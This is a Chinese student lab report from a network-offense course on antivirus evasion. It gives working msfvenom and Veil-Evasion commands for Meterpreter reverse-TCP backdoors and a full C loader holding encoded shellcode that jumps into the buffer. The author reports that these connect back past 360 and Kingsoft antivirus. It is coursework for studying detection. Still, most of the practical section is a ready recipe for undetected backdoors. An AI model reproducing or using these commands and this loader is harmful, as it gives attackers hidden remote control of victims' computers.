2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
实验内容(概要)
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器生成各种后门程序及检测
msf编码器是非常实用的,但是我的实践表明,直接实用msf生成后门(exe文件)是不容易躲过杀毒的,因此我认为在这场GAME中MSF试用于生成C语言的shellcode。
2. 使用veil-evasion生成后门程序及检测
同msf一样,直接生成exe难以免杀,C语言程序值得借鉴。
3. 半手工注入Shellcode并执行
鉴于自动生成后门程序的失败,半手工生成shellcode,这应该是最稳妥的方法。
二、通过组合应用各种技术实现恶意代码免杀
经过大量的测试,win10系统自带的Windows Defender难以攻破。
(各种组合均未成功,而且我也没找到怎么看自己Windows Defender的版本,实验日期是190329,由于设置了自动更新,安装的应该是此时最新的Windows Defender)
因此,这次实验我只能退而求其次,以360杀毒作为我的对手。
三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
靶机也不是Windows Defender。。。。。。
详细说明附后。
基础问题回答
一、杀软是如何检测出恶意代码的?
启发式(长得像坏人、干的事情也像坏人就逮捕他!)、基于程序行为检测(实锤这个程序有没有干一些非法的事情)和基于特征码检测(检测壳、检测shellcode、检测编码头部)。
二、免杀是做什么?
免杀就是针对上面说的——杀软的三个检测方法进行伪装,避免杀软被找到,避免攻击进程被拦截或者杀死。
正所谓道高一尺魔高一丈。。。。。
三、免杀的基本方法有哪些?
针对启发式和程序行为检测:附着在正常/合法程序的后面,同时启动,后台运行,尽量让杀软看不出区别;悄悄地进村,开枪的不要,动静尽量小,操作尽量少。
针对特征码检测:用自己的方法让杀软看不出来shellcode,想办法封装。
实验步骤
Before We Start It
使用360杀毒,程序版本:5.0.0.8150
检查更新:目前是最新版本。
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器生成各种后门程序及检测
1.1 不使用任何伪装
首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe
当拷贝到主机时发现:被逮捕了。
1.2 用MSF对后门程序进行多次编码
msfvenom要用到的参数,供参考:
-
-a <arch>
设置靶机CPU架构 -
--platform <platform>
设置靶机平台,可以通过--help-platforms
选项查看msfvenom支持的所有平台 -
-p <payload>
设置攻击载荷,可以通过-l payloads
查看所有攻击载荷 -
-e <encoder>
指定编码器,可以通过-l encoders
查看所有编码器 -
-i <count>
指定编码迭代的次数 -
-x <path>
指定模版(合法程序) -
-k
该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上(我失败了)。 -
-f <format>
指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats
查看所有支持的格式
在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe
拷贝到主机时又被逮捕了。
所以说直接生成exe是不行的,msfvenom肯定被很多杀软研究过,他生成的exe应该有一定特征(被杀软找到了并且作为特征码查杀)
即使多次编码,就死盯解码部分,那么理论上说,这样是无论如何都行不通的。
这道理我我我我我说不清楚,可以看孙晓暄学姐的博客(瞧瞧这话说的多么有水平!我这文盲语文水平就说不出来)
别问,问就是牛逼。
同样的事情也会发生在jar身上;
在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar
2. 使用veil-evasion生成后门程序及检测
基于msfvenom的经验,我猜这样是行不通的(先奶一口)。
veil
的安装我就不写了,我记得我就sudo apt-get install veil-evasion
就好了,可能我那会儿突然欧气了吧,幸运地没有遇到问题。
kali输入veil
进入;
接着:Veil>: use Evasion
然后:Veil/Evasion>: list
能看见:
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Available Payloads:
1) autoit/shellcode_inject/flat.py
2) auxiliary/coldwar_wrapper.py
3) auxiliary/macro_converter.py
4) auxiliary/pyinstaller_wrapper.py
5) c/meterpreter/rev_http.py
6) c/meterpreter/rev_http_service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp_service.py
9) cs/meterpreter/rev_http.py
10) cs/meterpreter/rev_https.py
//后面还有很多
紧接着:Veil/Evasion>: use 7
7就是c/meterpreter/rev_tcp.py,然后设置如下即可生成:
[c/meterpreter/rev_tcp>>]: set LPORT 5325
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
[c/meterpreter/rev_tcp>>]: generate
起个名:
[>] Please enter the base name for output files (default is payload): 5325-3
回车就ok了:
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: c
[*] Payload Module: c/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
[*] Source code written to: /var/lib/veil/output/source/5325-3.c
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc
Hit enter to continue...
你可以看见,已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe
目录下面了。
拷贝到主机就又被逮捕了。。。。。
3. 半手工注入Shellcode并执行
半手工就是说自己编译执行。
首先在上面veil有一个文件是c语言的( [*] Source code written to: /var/lib/veil/output/source/5325-3.c),可以拷贝到主机看看。
尝试用CB、VC、mingw编译均失败了,报错为 undefined reference to `WSAStartup@8'
之类的。
我发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令,gcc 5325-3.c -o 5325.exe -lws2_32
编译成功。
后面回连成功,没有拦截:
垃圾360:
还有一种方法:使用msfvenom
kali输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f c
生成C语言的代码。
在vc里面运行:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"\xdb\xde\xbb\x21\x8c\xc5\x6b\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x93\x83\xef\xfc\x31\x5f\x13\x03\x7e\x9f\x27\x9e\x3a\x9d\x62"
"\x15\xe9\x7b\xab\x0f\x79\x58\xc0\xee\xb0\x69\x99\x83\x83\x3f"
"\xc9\x98\xb5\xac\x6e\x58\x3f\xf4\xf1\x0c\xd0\x06\x92\xe7\x1c"
"\x35\xf8\xb9\x88\x8e\x15\xbb\x71\xf7\x35\x5f\x6b\x8a\x69\xcb"
"\x73\x88\xab\x55\xa8\xdd\x80\xa4\x97\xab\x28\x98\x26\x8a\x3b"
"\x8c\xde\x8a\xa5\x87\x88\x52\x17\x21\x76\xe7\x32\x62\x1b\x32"
"\xf8\x9c\xb3\xd0\x03\xaf\xd0\x50\xa5\x1a\x3f\x26\x35\xf5\x9e"
"\x25\x17\xd0\xbb\xfc\x61\x8d\xa5\xdf\xfd\x13\x8c\xc4\x92\xeb"
"\xf4\xc3\x87\x6e\x74\x98\xad\xee\x0c\x1b\x01\x92\x44\x89\xf6"
"\x3c\x93\x01\xf1\x8c\xb3\x5e\xc8\x66\xff\x97\x22\x51\x1f\x65"
"\x93\x83\x4a\x72\x90\x49\x5e\x90\x2a\x38\x3f\xe5\xf1\x79\x0a"
"\xb7\x51\xe5\xb7\x84\x3d\xaf\x0e\xdf\xfc\x74\x86\x9d\x59\xad"
"\x3a\xbb\x11\x33\x7a\xc6\x62\x5c\xf9\x02\xcd\x0a\xeb\xb1\xd3"
"\x8a\xa2\x0d\xfa\xf8\xec\x37\xdf\xad\xfb\x0c\x4b\xd7\xc9\xab"
"\x51\xd7\x4a\x99\x38\x99\x5b\x6b\x72\x61\x66\x8f\x72\xd0\xbd"
"\x47\x34\x70\xd4\x5e\x71\x0d\x56\x4d\xd0\xaa\xeb\x80\x12\x51"
"\x50\x30\xae\x24\xc2\x76\x68\xd4\x12\xb5\x66\x34\xfd\x6f\x2e"
"\xce\x42\xf5\x7a\xcd\xff\xa2\x3c\x4d\xda\x69\x74\xa4\x1a\x8c"
"\x85\xd0\x38\xd6\x7e\xb8\x4e\x3c\xd7\xbe\x35\xf0\x95\x81\x82"
"\xab\x56\xcb\x39\xa9\x74\x39\x25\xe6\xef\xb1\x9e\xd9\x43\x36"
"\x91\xec\x30\x72\xc1\x83\x05\x25\x03\xfc\xd0\xbf\xc2\x08\x80"
"\x36\xd2\x61\xd8\x9f\xc3\x01\x69\xd1\x26\x4a\x08\x4a\x38\xa2"
"\x8e\x73\x81\xce\x43\x5f\x54\x68\xe2\x4a\x59\xab\x5c\x5b\xaa"
"\xc5\x1e\xc0\x57\x75\x3b\xd2\x5b\xcc\x0d\x8e\xae\x0a\xd6\xbe"
"\x60\x79\xd1\xd6\x1f\x0d\xa4\x80\x8e\xca\x62\x94\xc4\x24\x50"
"\xa0\xdf\x26\x1c\x5a\xe0\x3d\x6c\x0a\xfb\x6b\xc9\x60\x23\xa8"
"\x09\xb8\xfc\xb4\x1b\x67\x6c\x19\x4e\x1e\x8e\xe1\x46\x39\xc5"
"\xc9\x08\x9b\x02\x89\x74\x11\xb1\xf5\x34\x0a\x28\x89\xe4\x24"
"\x5a\x68\xc5\xdf\xa2\xaf\x65\xec\x59\x47\x93\x85\x9e\xae\x61"
"\xe0\xf4\x75\xb6\x24\xc3\x30\xd6\xca\x32\x41\x50\x4b\x3b\xa1"
"\xfa\x30\x92\xb4\xf8\x62\x18\x46\xdb\x8b\x61\xa0\x9c\x1c\x67"
"\x6f\x69\x24\x3d\xb8\x5d\xb3\x5c\x53\x75\xa9\x48\x71\x2f\x0a"
"\x90\x87\xb7\x32\x6c\x5f\xba\x2d\x6e\x9f\x2f\xfc\xf1\x9e\xfb"
"\x48\xbe\x97\xf7\xe3\xb7\x55\x78\x28\xeb\xd3\xcf\xbc\x80\x9b"
"\xa8\x03\x9d\xc1\x28\xe6\x45\x99\x84\xb2\xca\xb7\x44\x90\xde"
"\xd7\x40\xd4\x4c\x4a\x70\x3a\x15\xa1\xcd\x20\x79\x26\xdc\x77"
"\x9e\xea\x4e\x48\x1f\x57\xd0\x44\x8b\x20\x1a\x87\x5c\xe2\xdf"
"\x8a\xb8\x3e\xb5\x34\xaf\xbc\x82\xc9\x3d\x9d\x88\x2f\x6f\xde"
"\xd0\xc8\x19\x3a\x6a\x96\xce\x6a\x05\xcf\x41\x79\x74\x11\xd2"
"\x94\x38\xba\xdb\x22\xc6\x70\x3b\xff\x5c\xde";
int main(){
__asm
{
lea eax, buf;
jmp eax;
}
return 0;
}
再次回连成功:
查不出来,稳得一批。
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
靶机金山毒霸,回连成功。
心得体会
首先我想说一句,这个东西,很有可能,今天成了,明天就不成功了。
是真的啊,真的可怕。
所以以后不能随便传上网扫了。
还有就是Windows defender牛逼,怎么都成功不了。但是太过敏感的杀软,用户体验也不好,所以呢这可能存在一个平衡吧我猜。
另外,除了后门的生成,后门如何启动也是一个问题。。。。。
最后,我想说,我好菜啊。。。。。